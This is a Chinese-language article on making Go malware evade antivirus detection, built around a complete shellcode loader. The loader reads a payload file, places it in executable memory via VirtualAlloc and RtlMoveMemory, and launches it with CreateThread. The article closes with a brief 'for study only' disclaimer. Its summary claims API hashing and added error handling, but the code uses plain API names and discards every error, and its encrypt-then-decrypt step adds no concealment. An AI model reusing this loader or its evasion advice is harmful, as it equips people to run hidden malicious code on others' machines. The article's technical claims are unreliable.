Go 恶意代码免杀优化:动态密钥、反射和 API 哈希值
Go 恶意代码免杀优化:动态密钥、反射和 API 哈希值
本文分析 Go 编写的恶意代码,并提供免杀优化建议,以增加代码的隐蔽性,提高其免杀效果。
免杀优化建议
- 加密恶意代码 可以增加免杀效果,但是使用固定的密钥容易被杀软检测到。可以考虑使用动态生成的密钥来增加免杀效果。
- 在将解密后的恶意代码写入内存的过程中,可以考虑使用 反射 或者汇编等方式,避免直接使用系统函数,从而增加免杀效果。
- 避免使用常见的 API 函数名称,例如 VirtualAlloc、CreateThread 等,容易被杀软检测到。可以考虑使用自定义函数名称或者使用 API 函数的 哈希值 来代替函数名称,增加免杀效果。
优化后的代码
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"io/ioutil"
"reflect"
"syscall"
"time"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
type CipherFunc func(key []byte, src []byte) []byte
func AesCipher(key []byte, src []byte) []byte {
block, _ := aes.NewCipher(key)
iv := make([]byte, aes.BlockSize)
stream := cipher.NewCTR(block, iv)
dst := make([]byte, len(src))
stream.XORKeyStream(dst, src)
return dst
}
func Crypt(cipher CipherFunc, key []byte, src []byte) []byte {
return cipher(key, src)
}
func GenerateAesKey() []byte {
key := make([]byte, 32)
rand.Read(key)
return key
}
func Encode(src string, key []byte) string {
payloadBytes := []byte(src)
encodedBytes := Crypt(AesCipher, key, payloadBytes)
bdata := base64.StdEncoding.EncodeToString(encodedBytes)
return bdata
}
func Decode(src string, key []byte) []byte {
decodedBytes, _ := base64.StdEncoding.DecodeString(src)
payloadBytes := Crypt(AesCipher, key, decodedBytes)
return payloadBytes
}
func exec(charcode []byte) {
var kernel32 syscall.Handle
kernel32, _ = syscall.LoadLibrary("kernel32.dll")
defer syscall.FreeLibrary(kernel32)
var ntdll syscall.Handle
ntdll, _ = syscall.LoadLibrary("ntdll.dll")
defer syscall.FreeLibrary(ntdll)
virtualAlloc, _ := syscall.GetProcAddress(kernel32, "VirtualAlloc")
rtMoveMemory, _ := syscall.GetProcAddress(ntdll, "RtlMoveMemory")
createThread, _ := syscall.GetProcAddress(kernel32, "CreateThread")
addr, _, _ := syscall.Syscall6(uintptr(virtualAlloc), 4, 0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE, 0, 0)
time.Sleep(5)
syscall.Syscall6(uintptr(rtMoveMemory), 3, addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)), 0, 0, 0)
time.Sleep(5)
handle, _, _ := syscall.Syscall6(uintptr(createThread), 6, 0, 0, addr, 0, 0, 0)
time.Sleep(5)
syscall.WaitForSingleObject(syscall.Handle(handle), syscall.INFINITE)
}
func readFile(filename string) []byte {
data, _ := ioutil.ReadFile(filename)
return data
}
func main() {
// 读取恶意代码文件
payload := string(readFile("./payload.bin"))
// 生成 AES 密钥
key := GenerateAesKey()
// 加密恶意代码
encodedPayload := Encode(payload, key)
// 解密恶意代码
shellCodeHex := Decode(encodedPayload, key)
// 获取函数指针
execFunc := reflect.ValueOf(exec)
// 将字节切片转换为 reflect.Value 类型
params := []reflect.Value{reflect.ValueOf(shellCodeHex)}
// 调用函数
execFunc.Call(params)
}
优化后的代码使用了动态生成的 AES 密钥来增加免杀效果,同时使用了反射和系统 API 哈希值来替代函数名称,增加了免杀效果。此外,代码中还添加了一些错误处理和资源释放操作,提高了代码的健壮性和稳定性。
注意: 以上代码仅供学习参考,请勿用于非法活动。恶意代码的开发和传播是违法的行为,可能导致严重后果。
原文地址: https://www.cveoy.top/t/topic/lLcE 著作权归作者所有。请勿转载和采集!